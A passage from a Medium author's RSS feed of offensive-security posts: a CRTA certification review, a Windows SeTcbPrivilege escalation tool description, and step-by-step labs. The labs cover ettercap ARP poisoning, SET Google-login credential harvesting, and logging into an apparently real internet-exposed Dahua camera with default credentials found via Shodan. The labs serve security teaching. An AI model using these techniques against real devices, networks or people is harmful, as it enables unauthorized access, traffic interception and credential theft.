exploitation techniques from scratch.</p><h3>Technical Scope: What You’re Tested On</h3><h3>1. Active Directory Fundamentals (The Core Focus)</h3><p>The exam leans heavily on <strong>Active Directory</strong>, but not in an overwhelming way. You’re expected to understand:</p><ul><li>Domain structures</li><li>Users, groups, and privileges</li><li>Why lateral movement is possible</li><li>How trust and misconfiguration lead to compromise</li></ul><p>This is not about obscure AD edge cases. It’s about <strong>realistic, commonly abused weaknesses</strong> that beginner red teamers encounter early in their journey.</p><p>If you have spent time:</p><ul><li>Enumerating AD environments</li><li>Understanding privilege escalation logic</li><li>Moving from one host to another</li></ul><p>you’ll feel at home here.</p><h3>2. Basic Web Exploitation</h3><p>The web side of the exam is <strong>intentionally lightweight</strong>. You’re not expected to perform advanced chaining or novel exploit development.</p><p>Instead, it checks whether you:</p><ul><li>Can identify obvious weaknesses</li><li>Understand how web misconfigurations can be an entry point</li><li>Can pivot from web access into internal movement</li></ul><p>Think of it as <strong>supporting knowledge</strong>, not the main battlefield.</p><h3>3. Lateral Movement &amp; Attack Flow</h3><p>This is where CRTA quietly does something right.</p><p>You are not solving isolated challenges. You are <strong>progressing through an environment</strong>, making decisions based on what you discover. Enumeration matters. Overlooking small details costs time.</p><p>This reinforces a critical red-team lesson:</p><blockquote><em>Attacks are rarely one-step exploits. They are sequences of small wins.</em></blockquote><h3>The Exam Format: A Big Change (and a Fair Critique)</h3><p>Earlier versions of the CRTA exam required <strong>a full report submission</strong>, which made the certification feel significantly more <strong>real-world aligned</strong>. Reporting forces you to:</p><ul><li>Explain impact</li><li>Document attack paths</li><li>Communicate risk clearly</li></ul><p>That requirement has now been replaced with a <strong>flag-based submission system</strong>, where:</p><ul><li>You capture the final flag</li><li>Submit it</li><li>Receive your certificate almost immediately</li></ul><h3>The Upside</h3><ul><li>Faster certification</li><li>Lower friction for candidates</li><li>No long waiting period or report review</li></ul><h3>The Downside (and This Matters)</h3><ul><li>Less emphasis on <strong>documentation skills</strong></li><li>Reduced realism compared to actual red-team engagements</li><li>Less validation of communication ability, which is critical in professional security roles</li></ul><p>From a l<strong>earning perspective</strong>, the old model was stronger. From an <strong>accessibility perspective</strong>, the new one is easier.</p><p>This doesn’t invalidate the cert, but it <strong>does slightly shift it from “simulation” toward “challenge-based validation.”</strong></p><h3>Difficulty Level: Fair</h3><p>CRTA does not rely on trick questions or artificial difficulty. If you fail, it’s usually because:</p><ul><li>You skipped enumeration</li><li>You misunderstood AD fundamentals</li><li>You rushed instead of mapping the environment</li></ul><p>For someone with:</p><ul><li>Basic AD knowledge</li><li>Some lab or CTF experience</li><li>Familiarity with red-team tools and logic</li></ul><p>the difficulty feels <strong>fair and honest</strong>.</p><h3>How It Compares to Other Entry Red-Team Certs</h3><p>CRTA sits in a space where it:</p><ul><li>Is <strong>more practical</strong> than theory-heavy certs</li><li>Is <strong>less overwhelming</strong> than advanced red-team exams</li><li>Focuses on <strong>attack reasoning</strong>, not just tools</li></ul><p>It’s particularly useful if you are:</p><ul><li>Transitioning from blue team or SOC concepts</li><li>Coming from TryHackMe / Hack The Box style labs</li><li>Building confidence before advanced certifications</li></ul><h3>Who Should Take CRTA?</h3><p>You should seriously consider this certification if you:</p><ul><li>Want a <strong>hands-on red team credential</strong></li><li>Are early in your offensive security journey</li><li>Want structured exposure to Active Directory attacks</li><li>Prefer labs over multiple-choice exams</li></ul><p>You may want to skip or delay it if you:</p><ul><li>Already hold advanced red-team certifications</li><li>Are primarily focused on exploit development</li><li>Want a reporting-heavy, enterprise-style assessment</li></ul><h3>Final Verdict</h3><p>The <strong>Certified Red Team Analyst</strong> certification delivers <strong>real learning value</strong>, especially in understanding <strong>how attacks flow inside Windows environments</strong>. While the removal of the report submission slightly reduces its realism, the exam still succeeds at testing what actually matters for a beginner red teamer: <strong>thinking, enumeration, and lateral movement</strong>.</p><p>It doesn’t pretend to be elite. It doesn’t oversell difficulty. And that honesty is its strength.</p><p>If you approach CRTA as a <strong>learning milestone rather than a badge</strong>, it rewards you with exactly what a red teamer needs early on: clarity, confidence, and context.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55a1fcb2b255" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Got SeTcbPrivilige ? Congrats u just got admin access…]]></title>
            <link>https://medium.com/@m.sameer.malik113/got-setcbprivilige-congrats-u-just-got-admin-access-b19f9f9ba1f6?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/b19f9f9ba1f6</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Fri, 06 Feb 2026 04:40:42 GMT</pubDate>
            <atom:updated>2026-02-06T04:40:42.616Z</atom:updated>
            <content:encoded><![CDATA[<h3>Got SeTcbPrivilige ? Congrats u just got admin access…</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1vkd7cgYTR-XHOGeBKmB5w.png" /><figcaption>poc in action</figcaption></figure><p>Privilege escalation is one of those topics in cybersecurity that sounds complicated, but at its core, it’s about <strong>trust</strong>. Who does the system trust, and how far does that trust go?</p><p>As part of my learning and security research, I built a small <strong>proof-of-concept tool</strong> called <strong>TcbElevation</strong>. The goal wasn’t to create something “dangerous,” but to understand how Windows privileges work — and how they can be abused if misconfigured.</p><p>The full project is open-source and available here:<br> 👉 <a href="https://github.com/mSameerMalik/SeTcbPrivilege_escalation/">https://github.com/mSameerMalik/SeTcbPrivilege_escalation/</a></p><h3>Why I Built This Tool</h3><p>When learning Windows security, most people focus on common misconfigurations like weak passwords or exposed services. But Windows also has <strong>special privileges</strong> that are far more powerful — and often misunderstood.</p><p>One of these is <strong>SeTcbPrivilege</strong>, also known as:</p><blockquote>“Act as part of the operating system”</blockquote><p>That name alone should raise eyebrows.</p><p>I wanted to answer a simple question:</p><blockquote>If a user already has this privilege, how dangerous is it really?</blockquote><p>So instead of just reading about it, I decided to <strong>build a tool</strong> that demonstrates the impact in a controlled lab environment.</p><h3>What Is TcbElevation?</h3><p><strong>TcbElevation</strong> is a <strong>local privilege escalation (LPE) proof-of-concept</strong> for Windows.</p><p>In simple terms, the tool shows how a user with SeTcbPrivilege can:</p><ul><li>Trick Windows into treating their process like <strong>SYSTEM</strong></li><li>Gain full control over system services</li><li>Execute commands with the highest possible privileges</li></ul><p>The tool does this by creating a temporary Windows service that runs as SYSTEM and executes a command you provide.</p><p>No exploits.<br>No memory corruption. Just abusing trust.</p><h3>Why This Matters</h3><p>In a properly configured system, normal users should <strong>never</strong> have SeTcbPrivilege.<br> But in:</p><ul><li>Lab environments</li><li>Misconfigured enterprise systems</li><li>Custom service accounts</li></ul><p>…it <em>does</em> sometimes appear.</p><p>This project helps show <strong>why that’s a problem</strong>.</p><p>If an attacker gains access to a user with this privilege, they don’t need fancy exploits — the system already trusts them <em>too much</em>.</p><h3>Keeping It Simple: What the Tool Demonstrates</h3><p>Without going deep into Windows internals, here’s the idea:</p><ul><li>Windows decides what you can do based on your <strong>token</strong></li><li>SYSTEM has the most powerful token</li><li>My tool temporarily <strong>pretends to be SYSTEM</strong></li><li>That lets it create a service that runs commands as SYSTEM</li></ul><p>For example, it can add a new administrator user with a single command.</p><p>This makes the risk very easy to understand — even for people new to Windows security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b19f9f9ba1f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IOT SECURITY LAB]]></title>
            <link>https://medium.com/@m.sameer.malik113/iot-security-lab-b4d7c05649fa?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4d7c05649fa</guid>
            <category><![CDATA[vulnerable]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[iot-security-challenges]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[iot-security]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Wed, 23 Jul 2025 05:19:59 GMT</pubDate>
            <atom:updated>2025-07-23T05:19:59.562Z</atom:updated>
            <content:encoded><![CDATA[<p>This lab is shared <strong>strictly for educational purposes</strong> and to promote ethical cybersecurity practices. I <strong>do not endorse or encourage</strong> the misuse of any techniques or tools demonstrated here. Readers are <strong>solely responsible</strong> for ensuring their actions comply with all applicable laws and regulations.</p><p><strong>Hack responsibly. Hack legally. Hack ethically.</strong></p><h3>IOT SECURITY LAB</h3><h3>OBJECTIVES:</h3><p>· Realize the importance IOT Security.</p><p>· Awareness regarding ever-increasing insecure IOT devices.</p><p>· <em>Exploring Internet-Exposed Camera Systems using Shodan zoomeye and OSINT</em></p><h3>Shodan:</h3><p>As with any cybersecurity operation, the initial step is always reconnaissance. The primary objective during this phase is to identify a target and gather as much open-source information as possible. In this lab, the focus is on identifying internet-exposed devices using search engines such as <a href="https://shodan.io/">Shodan.io</a>.</p><p>Shodan is a powerful search engine that indexes publicly accessible devices connected to the internet, including IP cameras, routers, and other IoT systems.</p><p>To maximize the effectiveness of the search, it is essential to use filters and well-structured queries, which help narrow down results based on criteria such as device type, location, port numbers, and banners.</p><p>The Shodan interface is relatively user-friendly and supports advanced query syntax, enabling users to refine their search efficiently.</p><p>In this lab, the target devices are Dahua IP cameras, and the search is refined further using country and city-level filters to simulate a geographically scoped reconnaissance effort.</p><p>However, it is important to note that Shodan’s free version imposes limitations on the number of viewable results, which can restrict the depth of exploration. For broader access, alternative tools such as ZoomEye may be considered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wbGoS0XTy0chK497An9fDA.png" /></figure><h3>Zoomeye:</h3><p>Given the limitations of Shodan’s free tier, an effective alternative is ZoomEye.org. ZoomEye is generally more accessible to free users and offers broader visibility into internet-exposed devices.</p><p>It is also considered more lenient in terms of the number of results available without a subscription, making it a valuable tool for reconnaissance, particularly in educational and research contexts.</p><p>Although ZoomEye’s query syntax can be more complex compared to Shodan, it compensates for this with the inclusion of <strong>ZoomGPT</strong>, an integrated AI assistant that helps users construct precise search queries using natural language input.</p><p>This feature greatly simplifies the process for those unfamiliar with advanced query structures and enhances the efficiency of reconnaissance.</p><p>In this lab, ZoomEye is used to identify the IP address of a targeted Dahua device, replicating the reconnaissance process under real-world conditions. Additionally, ZoomEye provides a unique advantage by identifying known honeypots — decoy systems deployed to attract and analyze malicious activity.</p><p>These honeypots can be filtered out of search results to ensure that only legitimate exposed devices are being analyzed during the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*pwAl2dvECBRKdZaT25aZVA.png" /></figure><h3>Nmap:</h3><p>After identifying a viable target, the next logical step is to conduct active reconnaissance to gather more detailed information about the system.</p><p>In this phase of the lab, I performed a <strong>network scan using Nmap</strong> on the extracted IP address. Nmap (Network Mapper) is a powerful and widely-used open-source tool designed for network discovery and security auditing.</p><p>To perform a more comprehensive analysis, I used the following flags during the scan:</p><ol><li><strong>-A (Aggressive Scan)</strong><br> This option enables a suite of advanced scanning features, including OS detection, version detection, script scanning, and traceroute.</li></ol><p>It is particularly useful during initial assessment to get a complete picture of the target’s exposed services and potential vulnerabilities.</p><ol><li><strong>-T4 (Timing Template)</strong><br> The -T flag controls the timing and speed of the scan. While -T5 is the fastest, it is also the noisiest and most detectable. In red team or stealth-based operations, it is recommended to use slower timing options such as -T2 to avoid triggering intrusion detection systems (IDS).</li></ol><p>However, for lab environments where speed is prioritized over stealth, -T4 offers a balanced option that speeds up the scan without sacrificing much accuracy.</p><p>This active reconnaissance helps to enumerate open ports, detect running services, and identify potential vulnerabilities that could later be explored in a controlled, ethical manner.</p><p><strong>Command: nmap -A &lt;ip&gt; -T4</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ATXCpsaGtakA7EDVMzQD5w.png" /></figure><h3>Analysis:</h3><p>After reviewing the detailed Nmap scan results, I identified that <strong>port 80</strong> was open and hosting an HTTP service. This finding aligned with the earlier reconnaissance conducted through ZoomEye.</p><p>In addition to port 80, several other ports were detected as open, each potentially offering an entry point depending on the services running behind them.</p><p>If these services are misconfigured, outdated, or unpatched, they could pose significant security risks — a critical insight when evaluating the security posture of internet-exposed IoT devices.</p><h3>Whois:</h3><p>To gain deeper contextual information about the target, I conducted a <strong>WHOIS lookup</strong> on the IP address.</p><p>The whois utility provides registration and ownership details associated with the IP, such as the Internet Service Provider (ISP), country, contact information, and autonomous system (AS) number.</p><p>This information is useful not only for identifying the hosting environment but also for understanding the broader infrastructure and organizational ties.</p><p>WHOIS data can also help validate whether the device is genuinely deployed by an individual, a company, or is part of a larger network segment, aiding in risk classification and further scoping of the target.</p><p><strong>Command: whois &lt;ip&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*ZYULUEYalKfMTmtfGz3nyg.png" /></figure><h3>Exploiting Default Credentials:</h3><p>One of the most common and critical vulnerabilities found across a wide range of IoT devices is the continued use of <strong>default credentials</strong>. Many devices, including IP cameras, are shipped with manufacturer-set usernames and passwords that users often neglect to change. This creates a significant security risk, as these credentials are publicly documented and widely known within the cybersecurity community.</p><p>To explore this vulnerability, I conducted open-source research using Google to search for the <strong>default credentials used by Dahua cameras</strong>. While the top search results did provide some information, further investigation revealed that several of those sources were outdated. To ensure accuracy, I extended my research to forums, vendor documentation, and distributor guides.</p><p>Through this process, I discovered that a <strong>commonly used default credential set</strong> for Dahua devices is:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> admin123</li></ul><p>These credentials are frequently left unchanged in real-world deployments, especially when devices are set up in bulk or by non-technical personnel. Identifying this information highlights the importance of credential hygiene and demonstrates how attackers can easily gain unauthorized access if proper security practices are not enforced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5iUp6buWsjMPneimXhUxkw.png" /></figure><h3>Password Database:</h3><p>Another valuable resource for identifying default credentials is <a href="https://passworddatabase.com/"><strong>PasswordDatabase.com</strong></a>.</p><p>This website maintains an extensive collection of default usernames and passwords for a wide range of vendors, including IoT devices, networking equipment, and industrial systems.</p><p>It is frequently referenced by security professionals and penetration testers during the reconnaissance phase.</p><p>The database is searchable by vendor, product type, or keyword, making it an efficient tool for quickly locating known default login information.</p><p>Utilizing such resources highlights how easily attackers can discover weak credentials if devices are not properly secured or reconfigured after deployment.</p><p>However one should never rely on single tool for these types of operations, always confirm your finding from 2 or more sources!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*k2zo6DvjsW1QRK6pHQOAIg.png" /></figure><h3>Gaining Access:</h3><p>After identifying the default credentials for the targeted Dahua camera, I attempted to authenticate using the commonly known combination of</p><p><strong>username: admin</strong> and <strong>password: admin123</strong>.</p><p>Upon testing, it was confirmed that the device had not been reconfigured and still used the factory-default login credentials.</p><p>This indicates a significant <strong>misconfiguration or more accurately, administrative negligence</strong> — as leaving default credentials unchanged poses a major security risk.</p><p>Unauthorized access could allow an attacker to view live camera feeds, change settings, or pivot into the internal network, depending on the device’s configuration and placement.</p><p>This finding reinforces the importance of enforcing secure credential policies, especially in internet-exposed IoT environments.</p><p>To access the below given login page I entered the ip of the camera in my browser and after some time of loading this page showed up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*k-QiGHtCS3s83_x4iBYL1w.png" /></figure><h3>LIVE Feed:</h3><p>Ultimately, I was able to <strong>gain full access to the device</strong>, confirming that it was vulnerable due to the use of default credentials.</p><p>This demonstrates how effortlessly a threat actor could compromise an IoT device that has been improperly configured or neglected during deployment.</p><p>The process required no advanced exploitation techniques, just open-source intelligence and basic enumeration. This highlights the <strong>real-world risk posed by default credentials</strong> and emphasizes the urgent need for secure provisioning, proper access control, and routine device audits in IoT environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*HJoepTB6xyY6Qh6XRTDVuQ.png" /></figure><h3>Mitigations:</h3><p>Based on the vulnerabilities and misconfigurations observed during this lab, the following mitigation strategies are recommended to enhance the security of internet-exposed IoT devices, particularly IP cameras like those from Dahua:</p><ol><li><strong>Change Default Credentials Immediately</strong><br> One of the most critical steps is to ensure that all factory-default usernames and passwords are changed during the initial setup. Strong, unique passwords should be enforced for all administrative interfaces.</li><li><strong>Restrict Public Exposure</strong><br> Devices should not be directly exposed to the internet unless absolutely necessary. Where exposure is required, access should be restricted via IP allowlists, VPN tunnels, or reverse proxies with authentication layers.</li><li><strong>Disable Unused Services and Ports</strong><br> Unused services and open ports should be disabled to reduce the attack surface. For example, if remote access via HTTP is not needed, port 80 should be closed or limited to internal network access.</li><li><strong>Regular Firmware Updates and Patching</strong><br> IoT devices often contain known vulnerabilities that are addressed in firmware updates. Regularly applying firmware patches from the official vendor is essential to protect against known exploits.</li><li><strong>Implement Network Segmentation</strong><br> IoT devices should be isolated from critical internal systems using VLANs or firewalled subnets. This limits lateral movement in case a device is compromised.</li><li><strong>Enable Logging and Monitoring</strong><br> Where supported, logging and audit trails should be enabled on the devices. Centralized monitoring can help detect unauthorized access attempts or abnormal behavior in real time.</li><li><strong>Use Strong Encryption and HTTPS</strong><br> Administrative interfaces should always be accessed over HTTPS, and data transmitted between devices should be encrypted to prevent interception and tampering.</li><li><strong>Disable Universal Plug and Play (UPnP)</strong><br> UPnP can expose internal services to the internet without user knowledge. Disabling UPnP on routers and IoT devices helps prevent unintended exposure.</li><li><strong>Conduct Regular Security Audits</strong><br> Periodic assessments of all connected devices should be performed to identify misconfigurations, outdated firmware, and weak authentication mechanisms.</li></ol><h3>Conclusion:</h3><p>This lab effectively demonstrated how internet-exposed IoT devices — specifically Dahua IP cameras — can be identified, profiled, and potentially compromised using publicly available tools and open-source intelligence.</p><p>Beginning with passive reconnaissance through platforms like Shodan and ZoomEye, I was able to locate misconfigured devices based on service banners and metadata.</p><p>Active scanning using Nmap revealed open services, with port 80 exposing a web interface. Through basic credential research and validation, I confirmed that the device still used its factory-default login credentials, resulting in full unauthorized access.</p><p>This process underscores a major and recurring issue in the IoT ecosystem: <strong>negligent device configuration</strong>.</p><p>Many manufacturers and end users fail to change default credentials, leaving devices highly vulnerable to exploitation with minimal effort.</p><p>This is not a theoretical risk — it is an easily reproducible and realistic threat vector that has been widely abused by threat actors, including in large-scale botnet campaigns.</p><p>The findings from this lab highlight the importance of:</p><ul><li>Implementing proper credential hygiene.</li><li>Regularly auditing internet-facing devices.</li><li>Disabling unnecessary services and ports.</li><li>Using segmentation and firewall rules to limit exposure.</li></ul><p>In conclusion, securing IoT devices is not solely a technical challenge — it is also a matter of awareness and responsibility. As this lab has shown, even basic reconnaissance can lead to full compromise if proper security practices are not in place.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4d7c05649fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Exploitation Lab]]></title>
            <link>https://medium.com/@m.sameer.malik113/network-exploitation-lab-924f27cc60b8?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/924f27cc60b8</guid>
            <category><![CDATA[network]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[ettercap]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 15:03:03 GMT</pubDate>
            <atom:updated>2025-07-15T15:03:03.560Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objectives:</h3><p>· Get familiarity with Ettercap.</p><p>· Realize how most networks can be exploited by On-Path Attack</p><p>· Thoroughly learn and apply the different terms such as ARP spoofing, ARP poisoning, DNS poisoning, Mac spoofing etc.</p><p>· Use Wireshark to analyze packets captured via On-Path Attacks.</p><p>· Learn the mitigations for these attacks.</p><h3>Requirements:</h3><p>1) kali VM</p><p>2) Network</p><h3>Procedure:</h3><p>In Part 1 use the GUI for arp poisoning. Also attach screenshot for each step.</p><p>In Part 2 use CLI for on-path attacks, intercept the traffic and inspect the packets via Wireshark also check each packet in detail for source and destination.</p><h3>Note:</h3><p>Always use authorized environment for testing purposes!</p><h3>Disclaimer:</h3><p>The techniques taught in this lab are for educational purposes only the author shall not be responsible for the misuse of any of the following techniques.</p><h3>Part 1- ARP Poisoning:</h3><p>ARP Poising is the process of spoofing your mac address similar to that of a device with which the victim communicates in order to route the traffic via attacker machine.</p><h3>Practical:</h3><p>Start Ettercap as a root user use <strong>ettercap -G </strong>for graphical user interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*imX3AIVzaq6WZ4ZXPey5PA.png" /></figure><p>Figure 1</p><p>Select your required interface as primary interface. For this lab I am using eth0. Note I am performing this lab on an authorized live network you can also create a topology and set up devices there and then proceed accordingly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-Za9qIt9i5v0mZpKHSGT1Q.png" /></figure><p>Figure 2</p><p>Click the tick and then select the hosts/target option for setting up your required targets! All the traffic other than the compromised targets will communicate normally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2G0fEGwGxjTcebaoMu29Vg.png" /></figure><p>Figure 3</p><p>Click the scan button if you don’t see any targets this will refresh the targets and show you the available options. Then add the targets , these are the we victims you want to conduct On-Path Attacks on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*sJt5S93Cx6ItIYejWMmnTw.png" /></figure><p>Figure 4</p><p>Click on the target before adding it to target 1 and target 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MZdIow0gwpqBk3aYbFB8Tg.png" /></figure><p>Figure 5</p><p>After that you will be prompted with something like figure 6, make sure the check the first box and click ok!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*QK8yFDt_qDKyD6iEfmUZsg.png" /></figure><p>Figure 6</p><p>This concludes the part 1 of our lab now if we check the ip of connected devices in the kali cli using the <strong>ip neighbour </strong>command<strong> </strong>we will see the repeated mac address this verifies that our attack is working successfully and now we are spoofing the mac address of client which the victim intending to communicate with now we can intercept the traffic using the On-path attack. Check the figure 7 for seeing ip neighbour command in action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*0Q5K8quq5t5mHo3gr8Lw6A.png" /></figure><p>Figure 7</p><h3>Part 2 — Performing On-Path (MITM Attacks)</h3><p>These types of attacks involve intercepting the traffic b/w victim and default gateway.</p><h3>Practical:</h3><p>First of use Ettercap with root privileges use the command shown in the screenshot below.</p><p><strong>ettercap -T -q -i eth0 –-write &lt;file name&gt; arp /&lt;ip&gt;//</strong></p><p>The breakdown of this command is:</p><p>-T = terminal</p><p>-q = quiet</p><p>-i = interface</p><p>— write = for writing the output</p><p>arp/&lt;ip&gt;// = specify the ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Ms8SXuBdHV6hr_ixLv5RNg.png" /></figure><p>Figure 8</p><p>After capturing the packets for a while hit ctrl c. This will stop the packet capture and save the output to a file in present working directory.</p><h3>Analysis- Phase:</h3><p>In this phase we will Analyze the traffic captured by On-Path Attack.</p><p>Use the <strong>wireshark &lt;file name&gt;</strong> to open the captured traffic in wireshark as demonstrated in figure 9.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yGwlt1AhMbpn5nc8FG8ITg.png" /></figure><p>Figure 9</p><p>Click specific packets in wireshark for thoroughly inspecting them observe how these packets are being intercepted by attacker machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GYyYYvkBJexb9X0K2vhIIA.png" /></figure><p>Figure 10</p><h3>Mitigation:</h3><p>Most networks are vulnerable to this type of attacks thus it is important to correctly configure this misconfiguration by adding rules such as:</p><p>· Dynamic ARP resolution.</p><p>· Not allowing duplicate mac and ip’s to prevent Mac spoofing and Ip spoofing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=924f27cc60b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Social Engineering In Cyber Security- Practical Lab]]></title>
            <link>https://medium.com/@m.sameer.malik113/social-engineering-in-cyber-security-practical-lab-9417c4737f53?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/9417c4737f53</guid>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[social-engineering-tool]]></category>
            <category><![CDATA[set]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Mon, 14 Jul 2025 17:31:53 GMT</pubDate>
            <atom:updated>2025-07-14T17:31:53.370Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Executive Summary</strong></h3><p>This lab explores the use of the Social-Engineer Toolkit (SET), developed by David Kennedy, to simulate social engineering attacks in a controlled environment. The primary focus is on cloning a legitimate website to harvest credentials, a method frequently used in phishing attacks. The lab demonstrates both the technical process and the ethical considerations necessary for responsible cybersecurity practices.</p><p><strong>Introduction to Social Engineering and SET</strong></p><p>Social engineering refers to the psychological manipulation of individuals to deceive them into providing confidential information.</p><p>Unlike technical exploits, it targets human behavior, making it a common entry point in cyberattacks.</p><p>The Social-Engineer Toolkit (SET) is an open-source framework created by David Kennedy, designed specifically for penetration testing of social engineering techniques.</p><p>It includes multiple attack vectors such as spear-phishing, website cloning, and malicious file creation. The objective of this lab is to understand how SET operates, how phishing scenarios can be crafted using its tools, and why ethical considerations must guide every step.</p><p><strong>Laboratory Environment and Setup</strong></p><p>The lab was conducted on Kali Linux, running in a virtual machine. The primary tool used was SET, which comes pre-installed with Kali. A simulated victim environment was accessed via a browser on a mobile phone. Internet connectivity and proper IP configuration were ensured before launching attacks.</p><p><strong>Exploring the Social-Engineer Toolkit (SET)</strong></p><p>To begin, Kali Linux was launched and a terminal was opened. Root access was obtained by entering the command<br> sudo su<br> The Social-Engineer Toolkit was launched by typing<br> setoolkit<br> After reading and accepting the license terms by entering &quot;y&quot;, the main SET interface was displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*KmuKSL4FmePDSOfIxiy0cA.png" /></figure><p>n this section, we examine the various attack vectors provided by the Social-Engineer Toolkit (SET) under the Social-Engineering Attacks module. These modules are designed to simulate real-world scenarios that exploit human behavior rather than system vulnerabilities.</p><p>To begin exploring the options, the following command was entered at the SET prompt:<br> 1</p><p>This action opens the Social-Engineering Attacks submenu, which includes a range of pre-built attack types tailored for different social engineering methods. The available options are as follows:</p><ol><li>Spear-Phishing Attack Vectors</li><li>Website Attack Vectors</li><li>Infectious Media Generator</li><li>Create a Payload and Listener</li><li>Mass Mailer Attack</li><li>Arduino-Based Attack Vector</li><li>Wireless Access Point Attack Vector</li><li>QRCode Generator Attack Vector</li><li>PowerShell Attack Vectors</li><li>Third Party Modules</li><li>Return to the main menu</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lFfV7byxlFp0uWzFLr5Hlw.png" /></figure><p>Each option corresponds to a specific vector that SET can automate or assist in executing. For example, spear-phishing attacks involve sending crafted emails with malicious payloads, while website attack vectors allow cloning of real websites for phishing purposes. Other vectors, such as the Infectious Media Generator, simulate attacks through USBs or external drives, and QRCode vectors exploit the tendency of users to scan unknown codes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SFt4USJnJwWYoDQzgNYkAg.png" /></figure><p>It is recommended to select each option sequentially to view a brief description of its functionality. This exploration provides insight into the wide variety of social engineering strategies supported by SET. However, it should be noted that some options may not lead to submenus or require additional configuration. In such cases, users may press CTRL-C or enter 99 to safely return to the previous menu without executing any action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vpUeFcjdb2GtvF92R8ZsYQ.png" /></figure><p>Understanding these vectors is essential for cybersecurity professionals, as it helps them recognize potential threats during red team engagements or user-awareness training campaigns. These simulations also highlight how attackers can exploit social tendencies with minimal technical sophistication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VUIl-MRdPonjrY8izCDtww.png" /></figure><p><strong>Website Cloning for Credential Harvesting</strong></p><p>From the Social-Engineering Attacks menu, option 2 was selected to access Website Attack Vectors. This feature allows cloning of real websites to trick users into entering their login credentials. The attacker is required to provide an IP address, which should be the external IP in case of internet-based simulations. If the local IP is used in a NAT environment, port forwarding is necessary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fdtjOO_rJNgGSjHt6LGuaQ.png" /></figure><p>A Google login page template was selected as the phishing target. Alternatively, SET allows dynamic cloning of any live website. Once the fake page is created, any submitted login credentials are captured and displayed on the attacker’s terminal in plain text. This demonstrates how simple it is to create convincing phishing pages using SET. See the screenshots below to get a complete understanding of this methodology!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xTRPFHTu4h-a4s3I3YrRYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xTRPFHTu4h-a4s3I3YrRYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*euCWmg7mwCtVuthfSX0A4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*5sIuKD_y9SaGmt1PMdT2GA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hgYAROahpiU0D5fogLwzjw.png" /></figure><p><strong>Discussion and Ethical Implications</strong></p><p>This lab illustrates how social engineering attacks can exploit the human element of cybersecurity. Even technically unsophisticated users can execute highly effective attacks using SET. However, the use of such tools must always be bounded by strict ethical and legal frameworks. Any use of SET or similar tools should be limited to educational purposes or authorized penetration testing 